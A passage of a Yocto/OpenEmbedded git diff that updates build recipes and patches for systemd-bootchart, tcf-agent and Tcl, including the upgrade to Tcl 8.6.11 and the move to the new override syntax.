+LIC_FILES_CHKSUM = "file://LICENSE.LGPL2.1;md5=4fbd65380cdd255951079008b364516c \
+ file://LICENSE.GPL2;md5=751419260aa954499f7abaabaa882bbe"
+
+SRC_URI = "git://github.com/systemd/systemd-bootchart.git;protocol=https;branch=master \
+ file://0001-architecture-Recognise-RISCV-32-RISCV-64.patch \
+ file://mips64.patch \
+ file://no_lto.patch \
+"
+
+SRC_URI:append:libc-musl = " \
+ file://0001-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch \
+ file://0002-musl-does-not-provide-printf-h.patch \
+ file://0003-musl-does-not-provide-canonicalize_file_name.patch \
+ "
+
+
+SRCREV = "8183cfd9dad8beca5434d625cf6b2df87775e956"
+
+S = "${WORKDIR}/git"
+
+DEPENDS = "systemd libxslt-native xmlto-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native intltool"
+
+inherit pkgconfig autotools systemd features_check
+
+REQUIRED_DISTRO_FEATURES = "systemd"
+
+SYSTEMD_SERVICE:${PN} = "systemd-bootchart.service"
+
+do_configure:prepend() {
+ # intltool.m4 is a soft link to /usr/share/aclocal/m4, delete it and use the one in our sysroot
+ rm -f ${S}/m4/intltool.m4
+}
+
+FILES:${PN} += "${systemd_unitdir}/systemd-bootchart"
+
+EXTRA_OECONF = " --with-rootprefix=${root_prefix} \
+ --with-rootlibdir=${base_libdir}"
diff --git a/meta/recipes-devtools/tcf-agent/tcf-agent/fix_ranlib.patch b/meta/recipes-devtools/tcf-agent/tcf-agent/fix_ranlib.patch
deleted file mode 100644
index abd33babeb..0000000000
--- a/meta/recipes-devtools/tcf-agent/tcf-agent/fix_ranlib.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-Actually pass the arguments to RANLIB.
-
-Upstream-Status: Pending
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-Index: agent/Makefile.inc
-===================================================================
---- a/Makefile.inc
-+++ b/Makefile.inc
-@@ -92,6 +92,7 @@ ifeq ($(OPSYS),GNU/Linux)
- OPTS += -DUSE_uuid_generate=0
- endif
- OPTS += -DENABLE_arch_$(shell uname -m)
-+ RANLIB += $@
- endif
-
- ifneq ($(OPSYS),Windows)
diff --git a/meta/recipes-devtools/tcf-agent/tcf-agent/ldflags.patch b/meta/recipes-devtools/tcf-agent/tcf-agent/ldflags.patch
index c03c55d22b..dfe492091c 100644
--- a/meta/recipes-devtools/tcf-agent/tcf-agent/ldflags.patch
+++ b/meta/recipes-devtools/tcf-agent/tcf-agent/ldflags.patch
@@ -1,4 +1,8 @@
-Upstream-Status: Pending
+We need LDFLAGS to be respected otherwise there are QA warnings as the right
+flags don't get used.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
From d92af0483c20365fd0af740d0baef8870b4aa374 Mon Sep 17 00:00:00 2001
From: Abdur Rehman <abdur_rehman@mentor.com>
diff --git a/meta/recipes-devtools/tcf-agent/tcf-agent_git.bb b/meta/recipes-devtools/tcf-agent/tcf-agent_git.bb
index b4bd4ca63c..0d627f4e23 100644
--- a/meta/recipes-devtools/tcf-agent/tcf-agent_git.bb
+++ b/meta/recipes-devtools/tcf-agent/tcf-agent_git.bb
@@ -1,35 +1,35 @@
SUMMARY = "Target Communication Framework for the Eclipse IDE"
HOMEPAGE = "http://wiki.eclipse.org/TCF"
+DESCRIPTION = "TCF is a vendor-neutral, lightweight, extensible network protocol mainly for communicating with embedded systems (targets)."
BUGTRACKER = "https://bugs.eclipse.org/bugs/"
LICENSE = "EPL-1.0 | EDL-1.0"
LIC_FILES_CHKSUM = "file://edl-v10.html;md5=522a390a83dc186513f0500543ad3679"
-SRCREV = "a022ef2f1acfd9209a1bf792dda14ae4b0d1b60f"
+SRCREV = "2735e3d6b7eccb05ab232825c618c837d27a5010"
PV = "1.7.0+git${SRCPV}"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))"
-SRC_URI = "git://git.eclipse.org/gitroot/tcf/org.eclipse.tcf.agent \
- file://fix_ranlib.patch \
+SRC_URI = "git://git.eclipse.org/r/tcf/org.eclipse.tcf.agent.git;protocol=https;branch=master \
file://ldflags.patch \
file://tcf-agent.init \
file://tcf-agent.service \
"
DEPENDS = "util-linux openssl"
-RDEPENDS_${PN} = "bash"
+RDEPENDS:${PN} = "bash"
S = "${WORKDIR}/git/agent"
inherit update-rc.d systemd
-SYSTEMD_SERVICE_${PN} = "tcf-agent.service"
+SYSTEMD_SERVICE:${PN} = "tcf-agent.service"
INITSCRIPT_NAME = "tcf-agent"
INITSCRIPT_PARAMS = "start 99 3 5 . stop 20 0 1 2 6 ."
# mangling needed for make
-MAKE_ARCH = "`echo ${TARGET_ARCH} | sed s,i.86,i686, | sed s,aarch64.*,a64,`"
+MAKE_ARCH = "`echo ${TARGET_ARCH} | sed s,i.86,i686, | sed s,aarch64.*,a64, | sed s,armeb,arm,`"
MAKE_OS = "`echo ${TARGET_OS} | sed s,^linux.*,GNU/Linux,`"
EXTRA_OEMAKE = "MACHINE=${MAKE_ARCH} OPSYS=${MAKE_OS} 'CC=${CC}' 'AR=${AR}'"
@@ -41,19 +41,21 @@ LCL_STOP_SERVICES = "-DSERVICE_RunControl=0 -DSERVICE_Breakpoints=0 \
# These features don't compile for several cases.
#
-CFLAGS_append_arc = " ${LCL_STOP_SERVICES}"
-CFLAGS_append_mips = " ${LCL_STOP_SERVICES}"
-CFLAGS_append_mips64 = " ${LCL_STOP_SERVICES}"
-CFLAGS_append_libc-musl = " ${LCL_STOP_SERVICES}"
-CFLAGS_append_powerpc64 = " ${LCL_STOP_SERVICES}"
-CFLAGS_append_riscv64 = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:arc = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:mips = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:mips64 = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:libc-musl = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:powerpc64 = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:powerpc64le = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:riscv64 = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:riscv32 = " ${LCL_STOP_SERVICES}"
do_install() {
oe_runmake install INSTALLROOT=${D}
install -d ${D}${sysconfdir}/init.d/
install -m 0755 ${WORKDIR}/tcf-agent.init ${D}${sysconfdir}/init.d/tcf-agent
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/tcf-agent.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_unitdir}/system/tcf-agent.service
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/tcf-agent.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_system_unitdir}/tcf-agent.service
}
diff --git a/meta/recipes-devtools/tcltk/tcl/alter-includedir.patch b/meta/recipes-devtools/tcltk/tcl/alter-includedir.patch
index c8530e1f58..5b25af2c0c 100644
--- a/meta/recipes-devtools/tcltk/tcl/alter-includedir.patch
+++ b/meta/recipes-devtools/tcltk/tcl/alter-includedir.patch
@@ -1,4 +1,4 @@
-Lets install the include header and private header files into
+Lets install the include header and private header files into
usr/include/tcl8.6 when version of tcl is 8.6.x
Upstream-Status: Inappropriate [Configuration Specific]
@@ -8,18 +8,20 @@ Signed-off-by: Khem Raj <raj.khem@gmai.com>
Fixed the TCL_INCLUDE_SPEC
Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
+Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
+
---
- Makefile.in | 2 +-
- configure | 4 ++--
- configure.in | 4 ++--
+ Makefile.in | 2 +-
+ configure | 4 ++--
+ configure.in | 4 ++--
3 files changed, 5 insertions(+), 5 deletions(-)
diff --git a/Makefile.in b/Makefile.in
-index 97b983b..dc2a4df 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -53,7 +53,7 @@ DLL_INSTALL_DIR = @DLL_INSTALL_DIR@
- SCRIPT_INSTALL_DIR = $(INSTALL_ROOT)$(TCL_LIBRARY)
+index 0370491..daa569a 100644
+--- a/unix/Makefile.in
++++ b/unix/Makefile.in
+@@ -57,7 +57,7 @@ SCRIPT_INSTALL_DIR = $(INSTALL_ROOT)$(TCL_LIBRARY)
+ MODULE_INSTALL_DIR = $(SCRIPT_INSTALL_DIR)/../tcl8
# Directory in which to install the include file tcl.h:
-INCLUDE_INSTALL_DIR = $(INSTALL_ROOT)$(includedir)
@@ -27,42 +29,20 @@ index 97b983b..dc2a4df 100644
# Path to the private tcl header dir:
PRIVATE_INCLUDE_DIR = @PRIVATE_INCLUDE_DIR@
-diff --git a/configure b/configure
-index 3e78b49..24b3f92 100755
---- a/configure
-+++ b/configure
-@@ -19134,7 +19134,7 @@ eval "TCL_LIB_FILE=libtcl${LIB_SUFFIX}"
- eval "TCL_LIB_FILE=${TCL_LIB_FILE}"
-
- TCL_LIBRARY='$(libdir)/tcl$(VERSION)'
--PRIVATE_INCLUDE_DIR='$(includedir)'
-+PRIVATE_INCLUDE_DIR='$(includedir)/tcl$(VERSION)'
- HTML_DIR='$(DISTDIR)/html'
-
- # Note: in the following variable, it's important to use the absolute
-@@ -19293,7 +19293,7 @@ TCL_BUILD_STUB_LIB_PATH="`pwd`/${TCL_STUB_LIB_FILE}"
- TCL_STUB_LIB_PATH="${TCL_STUB_LIB_DIR}/${TCL_STUB_LIB_FILE}"
-
- # Install time header dir can be set via --includedir
--eval "TCL_INCLUDE_SPEC=\"-I${includedir}\""
-+eval "TCL_INCLUDE_SPEC=\"-I${includedir}/tcl${VERSION}\""
-
- #------------------------------------------------------------------------
- # tclConfig.sh refers to this by a different name
diff --git a/configure.in b/configure.in
-index 0e28b14..62d9b41 100755
---- a/configure.in
-+++ b/configure.in
-@@ -791,7 +791,7 @@ eval "TCL_LIB_FILE=libtcl${LIB_SUFFIX}"
+index 9f96e2b..e323e02 100644
+--- a/unix/configure.in
++++ b/unix/configure.in
+@@ -773,7 +773,7 @@ eval "TCL_LIB_FILE=libtcl${LIB_SUFFIX}"
eval "TCL_LIB_FILE=${TCL_LIB_FILE}"
- TCL_LIBRARY='$(libdir)/tcl$(VERSION)'
+ test -z "$TCL_LIBRARY" && TCL_LIBRARY='$(libdir)/tcl$(VERSION)'
-PRIVATE_INCLUDE_DIR='$(includedir)'
+PRIVATE_INCLUDE_DIR='$(includedir)/tcl$(VERSION)'
HTML_DIR='$(DISTDIR)/html'
# Note: in the following variable, it's important to use the absolute
-@@ -912,7 +912,7 @@ TCL_BUILD_STUB_LIB_PATH="`pwd`/${TCL_STUB_LIB_FILE}"
+@@ -894,7 +894,7 @@ TCL_BUILD_STUB_LIB_PATH="`pwd`/${TCL_STUB_LIB_FILE}"
TCL_STUB_LIB_PATH="${TCL_STUB_LIB_DIR}/${TCL_STUB_LIB_FILE}"
# Install time header dir can be set via --includedir
@@ -72,5 +52,5 @@ index 0e28b14..62d9b41 100755
#------------------------------------------------------------------------
# tclConfig.sh refers to this by a different name
--
-1.7.10.4
+2.25.1
diff --git a/meta/recipes-devtools/tcltk/tcl/fix_issue_with_old_distro_glibc.patch b/meta/recipes-devtools/tcltk/tcl/fix_issue_with_old_distro_glibc.patch
index 72a0fa4520..2c31cec8e3 100644
--- a/meta/recipes-devtools/tcltk/tcl/fix_issue_with_old_distro_glibc.patch
+++ b/meta/recipes-devtools/tcltk/tcl/fix_issue_with_old_distro_glibc.patch
@@ -17,8 +17,8 @@ Signed-off-by: Nitin A Kamble <nitin.a.kamble@intel.com>
Index: unix/Makefile.in
===================================================================
---- unix.orig/Makefile.in 2013-11-10 23:38:01.787425628 -0800
-+++ unix/Makefile.in 2013-11-10 23:37:59.807425578 -0800
+--- a/unix.orig/Makefile.in 2013-11-10 23:38:01.787425628 -0800
++++ b/unix/Makefile.in 2013-11-10 23:37:59.807425578 -0800
@@ -686,7 +686,7 @@
# tcltest executable gets the build directory burned into its ld search path.
# This keeps tcltest from picking up an already installed version of the Tcl
diff --git a/meta/recipes-devtools/tcltk/tcl/fix_non_native_build_issue.patch b/meta/recipes-devtools/tcltk/tcl/fix_non_native_build_issue.patch
index c60eb75379..44b2ce0a30 100644
--- a/meta/recipes-devtools/tcltk/tcl/fix_non_native_build_issue.patch
+++ b/meta/recipes-devtools/tcltk/tcl/fix_non_native_build_issue.patch
@@ -2,8 +2,8 @@ Upstream-Status: Pending
Index: unix/Makefile.in
===================================================================
---- unix.orig/Makefile.in 2013-11-10 23:37:34.243424934 -0800
-+++ unix/Makefile.in 2013-11-10 23:37:34.243424934 -0800
+--- a/unix.orig/Makefile.in 2013-11-10 23:37:34.243424934 -0800
++++ b/unix/Makefile.in 2013-11-10 23:37:34.243424934 -0800
@@ -709,23 +709,23 @@
test: test-tcl test-packages
diff --git a/meta/recipes-devtools/tcltk/tcl/interp.patch b/meta/recipes-devtools/tcltk/tcl/interp.patch
new file mode 100644
index 0000000000..95d6318f64
--- /dev/null
+++ b/meta/recipes-devtools/tcltk/tcl/interp.patch
@@ -0,0 +1,32 @@
+The interp-36.7 patch has race conditions and is missing cleanup. This patch by
+a Tcl maintainer should improve matters.
+
+Upstream-Status: Pending
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+diff --git a/tests/interp.test b/tests/interp.test
+index d7424847f..fc90990f3 100644
+--- a/tests/interp.test
++++ b/tests/interp.test
+@@ -3595,17 +3595,18 @@ test interp-36.7 {ChildBgerror sets error handler of child [1999035]} -setup {
+ variable result
+ set result [lindex $args 0]
+ }
++ set tout [after 5000 {set result timeout}]
+ } -body {
+ child eval {
+ variable done {}
+ after 0 error foo
+- after 10 [list ::set [namespace which -variable done] {}]
+- vwait [namespace which -variable done]
+ }
++ vwait result
+ set result
+ } -cleanup {
++ after cancel $tout
+ variable result {}
+- unset -nocomplain result
++ unset -nocomplain result tout
+ interp delete child
+ } -result foo
+
diff --git a/meta/recipes-devtools/tcltk/tcl/no_packages.patch b/meta/recipes-devtools/tcltk/tcl/no_packages.patch
deleted file mode 100644
index 5c622a2369..0000000000
--- a/meta/recipes-devtools/tcltk/tcl/no_packages.patch
+++ /dev/null
@@ -1,53 +0,0 @@
-tcl 8.6.0 builds by default a number of packages that are not needed in Yocto.
-This patch changes the makefile so that these packages are not built by default.
-
-Upstream-Status:Inappropriate [embedded specific]
-
-Signed-off-by: Bogdan Marinescu <bogdan.a.marinescu@intel.com>
-
-diff --git a/Makefile.in b/Makefile.in
-index b729ffd..2c2e824 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -612,7 +612,7 @@ SRCS = $(GENERIC_SRCS) $(TOMMATH_SRCS) $(UNIX_SRCS) $(NOTIFY_SRCS) \
- # Start of rules
- #--------------------------------------------------------------------------
-
--all: binaries libraries doc packages
-+all: binaries libraries doc
-
- binaries: ${LIB_FILE} ${TCL_EXE}
-
-@@ -656,12 +656,12 @@ Makefile: $(UNIX_DIR)/Makefile.in $(DLTEST_DIR)/Makefile.in
- #tclConfig.h: $(UNIX_DIR)/tclConfig.h.in
- # $(SHELL) config.status
-
--clean: clean-packages
-+clean:
- rm -rf *.a *.o libtcl* core errs *~ \#* TAGS *.E a.out \
- errors ${TCL_EXE} ${TCLTEST_EXE} lib.exp Tcl @DTRACE_HDR@
- cd dltest ; $(MAKE) clean
-
--distclean: distclean-packages clean
-+distclean: clean
- rm -rf Makefile config.status config.cache config.log tclConfig.sh \
- tclConfig.h *.plist Tcl.framework tcl.pc
- cd dltest ; $(MAKE) distclean
-@@ -709,7 +709,7 @@ tcltest-real:
- # tcltest, ie:
- # % make test TESTFLAGS="-verbose bps -file fileName.test"
-
--test: test-tcl test-packages
-+test: test-tcl
-
- test-tcl: ${TCLTEST_EXE}
- $(SHELL_ENV) ${TCLTEST_EXE} $(TOP_DIR)/tests/all.tcl $(TESTFLAGS)
-@@ -774,7 +774,7 @@ INSTALL_PACKAGE_TARGETS = install-packages
- INSTALL_DEV_TARGETS = install-headers
- INSTALL_EXTRA_TARGETS = @EXTRA_INSTALL@
- INSTALL_TARGETS = $(INSTALL_BASE_TARGETS) $(INSTALL_DOC_TARGETS) $(INSTALL_DEV_TARGETS) \
-- $(INSTALL_PACKAGE_TARGETS) $(INSTALL_EXTRA_TARGETS)
-+ $(INSTALL_EXTRA_TARGETS)
-
- install: $(INSTALL_TARGETS)
-
diff --git a/meta/recipes-devtools/tcltk/tcl/run-ptest b/meta/recipes-devtools/tcltk/tcl/run-ptest
index 22bb69ae0d..a62b703082 100644
--- a/meta/recipes-devtools/tcltk/tcl/run-ptest
+++ b/meta/recipes-devtools/tcltk/tcl/run-ptest
@@ -1,8 +1,12 @@
#!/bin/sh
+# clock.test needs a timezone to be set
+export TZ="Europe/London"
+export TCL_LIBRARY=library
+
for i in `ls tests/*.test | awk -F/ '{print $2}'`; do
- TCL_LIBRARY=library ./tcltest tests/all.tcl -file $i >$i.log 2>&1
- grep -q "^Files with failing tests:" $i.log
+ ./tcltest tests/all.tcl -file $i >$i.log 2>&1
+ grep -q -F -e "Files with failing tests:" -e "Test files exiting with errors:" $i.log
if [ $? -eq 0 ]; then
echo "FAIL: $i"
cat $i.log
diff --git a/meta/recipes-devtools/tcltk/tcl/tcl-add-soname.patch b/meta/recipes-devtools/tcltk/tcl/tcl-add-soname.patch
index d1fc9b92e5..c4283c4f34 100644
--- a/meta/recipes-devtools/tcltk/tcl/tcl-add-soname.patch
+++ b/meta/recipes-devtools/tcltk/tcl/tcl-add-soname.patch
@@ -1,23 +1,9 @@
Upstream-Status: Pending
-Index: unix/configure
-===================================================================
---- unix.orig/configure 2013-09-19 13:17:13.000000000 -0700
-+++ unix/configure 2013-11-11 00:20:51.519490342 -0800
-@@ -7599,6 +7599,9 @@
- # get rid of the warnings.
- #CFLAGS_OPTIMIZE="${CFLAGS_OPTIMIZE} -D__NO_STRING_INLINES -D__NO_MATH_INLINES"
-
-+ # following line added by CW for Debian GNU/Linux
-+ TCL_SHLIB_LD_EXTRAS="-Wl,-soname,\${TCL_LIB_FILE}.0"
-+
- SHLIB_LD='${CC} ${CFLAGS} ${LDFLAGS} -shared'
- DL_OBJS="tclLoadDl.o"
- DL_LIBS="-ldl"
Index: unix/tcl.m4
===================================================================
---- unix.orig/tcl.m4 2013-09-19 13:17:13.000000000 -0700
-+++ unix/tcl.m4 2013-11-11 00:17:24.263485123 -0800
+--- a/unix.orig/tcl.m4 2013-09-19 13:17:13.000000000 -0700
++++ b/unix/tcl.m4 2013-11-11 00:17:24.263485123 -0800
@@ -1415,6 +1415,9 @@
# get rid of the warnings.
#CFLAGS_OPTIMIZE="${CFLAGS_OPTIMIZE} -D__NO_STRING_INLINES -D__NO_MATH_INLINES"
@@ -30,8 +16,8 @@ Index: unix/tcl.m4
DL_LIBS="-ldl"
Index: unix/Makefile.in
===================================================================
---- unix.orig/Makefile.in 2013-09-19 13:17:13.000000000 -0700
-+++ unix/Makefile.in 2013-11-11 00:20:32.423489861 -0800
+--- a/unix.orig/Makefile.in 2013-09-19 13:17:13.000000000 -0700
++++ b/unix/Makefile.in 2013-11-11 00:20:32.423489861 -0800
@@ -796,7 +796,10 @@
done;
@echo "Installing $(LIB_FILE) to $(DLL_INSTALL_DIR)/"
diff --git a/meta/recipes-devtools/tcltk/tcl/tcl-remove-hardcoded-install-path.patch b/meta/recipes-devtools/tcltk/tcl/tcl-remove-hardcoded-install-path.patch
index 16f7c80516..99c5faf02c 100644
--- a/meta/recipes-devtools/tcltk/tcl/tcl-remove-hardcoded-install-path.patch
+++ b/meta/recipes-devtools/tcltk/tcl/tcl-remove-hardcoded-install-path.patch
@@ -7,41 +7,26 @@ Remove hardcoded library install path. Change $(prefix)/lib/ to ${libdir}.
[YOCTO #2876]
-This is not a bug, but libraries should be installed into directory .../lib/.
-On 64bit target that should be lib64/.
-
-Upstream-Status: Inappropriate [configuration]
+Upstream-Status: Pending
Signed-off-by: Song.Li <Song.Li@windriver.com>
Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
+Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
---
- configure | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
+ configure | 2 +-
+ configure.in | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
-Index: unix/configure
-===================================================================
---- unix.orig/configure 2013-11-10 23:38:33.643426430 -0800
-+++ unix/configure 2013-11-10 23:39:51.347428387 -0800
-@@ -19134,7 +19134,7 @@
-
- eval "TCL_LIB_FILE=${TCL_LIB_FILE}"
-
--TCL_LIBRARY='$(prefix)/lib/tcl$(VERSION)'
-+TCL_LIBRARY='$(libdir)/tcl$(VERSION)'
- PRIVATE_INCLUDE_DIR='$(includedir)'
- HTML_DIR='$(DISTDIR)/html'
-
Index: unix/configure.in
===================================================================
---- unix.orig/configure.in 2013-11-10 23:20:50.000000000 -0800
-+++ unix/configure.in 2013-11-10 23:39:41.199428131 -0800
+--- a/unix.orig/configure.in 2013-11-10 23:20:50.000000000 -0800
++++ b/unix/configure.in 2013-11-10 23:39:41.199428131 -0800
@@ -790,7 +790,7 @@
eval "TCL_LIB_FILE=${TCL_LIB_FILE}"
--TCL_LIBRARY='$(prefix)/lib/tcl$(VERSION)'
-+TCL_LIBRARY='$(libdir)/tcl$(VERSION)'
+-test -z "$TCL_LIBRARY" && TCL_LIBRARY='$(prefix)/lib/tcl$(VERSION)'
++test -z "$TCL_LIBRARY" && TCL_LIBRARY='$(libdir)/tcl$(VERSION)'
PRIVATE_INCLUDE_DIR='$(includedir)'
HTML_DIR='$(DISTDIR)/html'
diff --git a/meta/recipes-devtools/tcltk/tcl_8.6.11.bb b/meta/recipes-devtools/tcltk/tcl_8.6.11.bb
new file mode 100644
index 0000000000..9f6b003ffb
--- /dev/null
+++ b/meta/recipes-devtools/tcltk/tcl_8.6.11.bb
@@ -0,0 +1,103 @@
+SUMMARY = "Tool Command Language"
+HOMEPAGE = "http://tcl.sourceforge.net"
+DESCRIPTION = "Tool Command Language, is an open-source multi-purpose C library which includes a powerful dynamic scripting language. Together they provide ideal cross-platform development environment for any programming project."
+SECTION = "devel/tcltk"
+
+# http://www.tcl.tk/software/tcltk/license.html
+LICENSE = "TCL & BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://license.terms;md5=058f6229798281bbcac4239c788cfa38 \
+ file://compat/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
+ file://library/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
+ file://macosx/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
+ file://tests/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
+ file://win/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
+"
+
+DEPENDS = "tcl-native zlib"
+
+BASE_SRC_URI = "${SOURCEFORGE_MIRROR}/tcl/tcl-core${PV}-src.tar.gz \
+ file://tcl-add-soname.patch"
+SRC_URI = "${BASE_SRC_URI} \
+ file://fix_non_native_build_issue.patch \
+ file://fix_issue_with_old_distro_glibc.patch \
+ file://tcl-remove-hardcoded-install-path.patch \
+ file://alter-includedir.patch \
+ file://interp.patch \
+ file://run-ptest \
+"
+SRC_URI[sha256sum] = "cfb49aab82bd179651e23eeeb69606f51b0ddc575ca55c3d35e2457469024cfa"
+
+SRC_URI:class-native = "${BASE_SRC_URI}"
+
+# Upstream don't believe this is an exploitable issue
+# https://core.tcl-lang.org/tcl/info/7079e4f91601e9c7
+CVE_CHECK_IGNORE += "CVE-2021-35331"
+
+UPSTREAM_CHECK_REGEX = "tcl(?P<pver>\d+(\.\d+)+)-src"
+
+S = "${WORKDIR}/${BPN}${PV}"
+
+VER = "${PV}"
+
+inherit autotools ptest binconfig
+
+AUTOTOOLS_SCRIPT_PATH = "${S}/unix"
+EXTRA_OECONF = "--enable-threads --disable-rpath --enable-man-suffix"
+
+do_install() {
+ autotools_do_install
+ oe_runmake 'DESTDIR=${D}' install-private-headers
+ ln -sf ./tclsh${VER} ${D}${bindir}/tclsh
+ ln -sf tclsh8.6 ${D}${bindir}/tclsh${VER}
+ sed -i "s;-L${B};-L${STAGING_LIBDIR};g" tclConfig.sh
+ sed -i "s;'${WORKDIR};'${STAGING_INCDIR};g" tclConfig.sh
+ install -d ${D}${bindir_crossscripts}
+ install -m 0755 tclConfig.sh ${D}${bindir_crossscripts}
+ install -m 0755 tclConfig.sh ${D}${libdir}
+ for dir in compat generic unix; do
+ install -d ${D}${includedir}/${BPN}${VER}/$dir
+ install -m 0644 ${S}/$dir/*.h ${D}${includedir}/${BPN}${VER}/$dir/
+ done
+}
+
+SYSROOT_DIRS += "${bindir_crossscripts}"
+
+PACKAGES =+ "tcl-lib"
+FILES:tcl-lib = "${libdir}/libtcl8.6.so.*"
+FILES:${PN} += "${libdir}/tcl${VER} ${libdir}/tcl8.6 ${libdir}/tcl8"
+FILES:${PN}-dev += "${libdir}/tclConfig.sh ${libdir}/tclooConfig.sh"
+
+# isn't getting picked up by shlibs code
+RDEPENDS:${PN} += "tcl-lib"
+RDEPENDS:${PN}-ptest += "libgcc"
+
+BBCLASSEXTEND = "native nativesdk"
+
+do_compile_ptest() {
+ oe_runmake tcltest
+}
+
+do_install_ptest() {
+ cp ${B}/tcltest ${D}${PTEST_PATH}
+ cp -r ${S}/library ${D}${PTEST_PATH}
+ cp -r ${S}/tests ${D}${PTEST_PATH}
+}
+
+# Fix some paths that might be used by Tcl extensions
+BINCONFIG_GLOB = "*Config.sh"
+
+# Fix the path in sstate
+SSTATE_SCAN_FILES += "*Config.sh"
+
+# Cleanup host path from ${libdir}/tclConfig.sh and remove the
+# ${bindir_crossscripts}/tclConfig.sh from target
+PACKAGE_PREPROCESS_FUNCS += "tcl_package_preprocess"
+tcl_package_preprocess() {
+ sed -i -e "s;${DEBUG_PREFIX_MAP};;g" \
+ -e "s;-L${STAGING_LIBDIR};-L${libdir};g" \
+ -e "s;${STAGING_INCDIR};${includedir};g" \
+ -e "s;--sysroot=${RECIPE_SYSROOT};;g" \
+ ${PKGD}${libdir}/tclConfig.sh
+
+ rm -f ${PKGD}${bindir_crossscripts}/tclConfig.sh
+}
diff --git a/meta/recipes-devtools/tcltk/tcl_8.6.9.bb b/meta/recipes-devtools/tcltk/tcl_8.6.9.bb
deleted file mode 100644
index 7f3778153a..0000000000
--- a/meta/recipes-devtools/tcltk/tcl_8.6.9.bb
+++ /dev/null
@@ -1,101 +0,0 @@
-SUMMARY = "Tool Command Language"
-HOMEPAGE = "http://tcl.sourceforge.net"
-SECTION = "devel/tcltk"
-
-# http://www.tcl.tk/software/tcltk/license.html
-LICENSE = "tcl & BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://../license.terms;md5=058f6229798281bbcac4239c788cfa38 \
- file://../compat/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
- file://../library/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
- file://../macosx/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
- file://../tests/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
- file://../win/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
-"
-
-DEPENDS = "tcl-native zlib"
-
-BASE_SRC_URI = "${SOURCEFORGE_MIRROR}/tcl/${BPN}${PV}-src.tar.gz \
- file://tcl-add-soname.patch"
-SRC_URI = "${BASE_SRC_URI} \
- file://fix_non_native_build_issue.patch \
- file://fix_issue_with_old_distro_glibc.patch \
- file://no_packages.patch \
- file://tcl-remove-hardcoded-install-path.patch \
- file://alter-includedir.patch \
- file://run-ptest \
-"
-SRC_URI[md5sum] = "aa0a121d95a0e7b73a036f26028538d4"
-SRC_URI[sha256sum] = "ad0cd2de2c87b9ba8086b43957a0de3eb2eb565c7159d5f53ccbba3feb915f4e"
-
-SRC_URI_class-native = "${BASE_SRC_URI}"
-
-S = "${WORKDIR}/${BPN}${PV}/unix"
-
-VER = "${PV}"
-
-inherit autotools ptest binconfig
-
-EXTRA_OECONF = "--enable-threads --disable-rpath --libdir=${libdir}"
-
-do_compile_prepend() {
- echo > ${S}/../compat/fixstrtod.c
-}
-
-do_install() {
- autotools_do_install
- oe_runmake 'DESTDIR=${D}' install-private-headers
- ln -sf ./tclsh${VER} ${D}${bindir}/tclsh
- ln -sf tclsh8.6 ${D}${bindir}/tclsh${VER}
- sed -i "s;-L${B};-L${STAGING_LIBDIR};g" tclConfig.sh
- sed -i "s;'${WORKDIR};'${STAGING_INCDIR};g" tclConfig.sh
- install -d ${D}${bindir_crossscripts}
- install -m 0755 tclConfig.sh ${D}${bindir_crossscripts}
- install -m 0755 tclConfig.sh ${D}${libdir}
- for dir in compat generic unix; do
- install -d ${D}${includedir}/${BPN}${VER}/$dir
- install -m 0644 ${S}/../$dir/*.h ${D}${includedir}/${BPN}${VER}/$dir/
- done
-}
-
-SYSROOT_DIRS += "${bindir_crossscripts}"
-
-PACKAGES =+ "tcl-lib"
-FILES_tcl-lib = "${libdir}/libtcl8.6.so.*"
-FILES_${PN} += "${libdir}/tcl${VER} ${libdir}/tcl8.6 ${libdir}/tcl8"
-FILES_${PN}-dev += "${libdir}/tclConfig.sh ${libdir}/tclooConfig.sh"
-
-# isn't getting picked up by shlibs code
-RDEPENDS_${PN} += "tcl-lib"
-RDEPENDS_${PN}_class-native = ""
-RDEPENDS_${PN}-ptest += "libgcc"
-
-BBCLASSEXTEND = "native nativesdk"
-
-do_compile_ptest() {
- oe_runmake tcltest
-}
-
-do_install_ptest() {
- cp ${B}/tcltest ${D}${PTEST_PATH}
- cp -r ${S}/../library ${D}${PTEST_PATH}
- cp -r ${S}/../tests ${D}${PTEST_PATH}
-}
-
-# Fix some paths that might be used by Tcl extensions
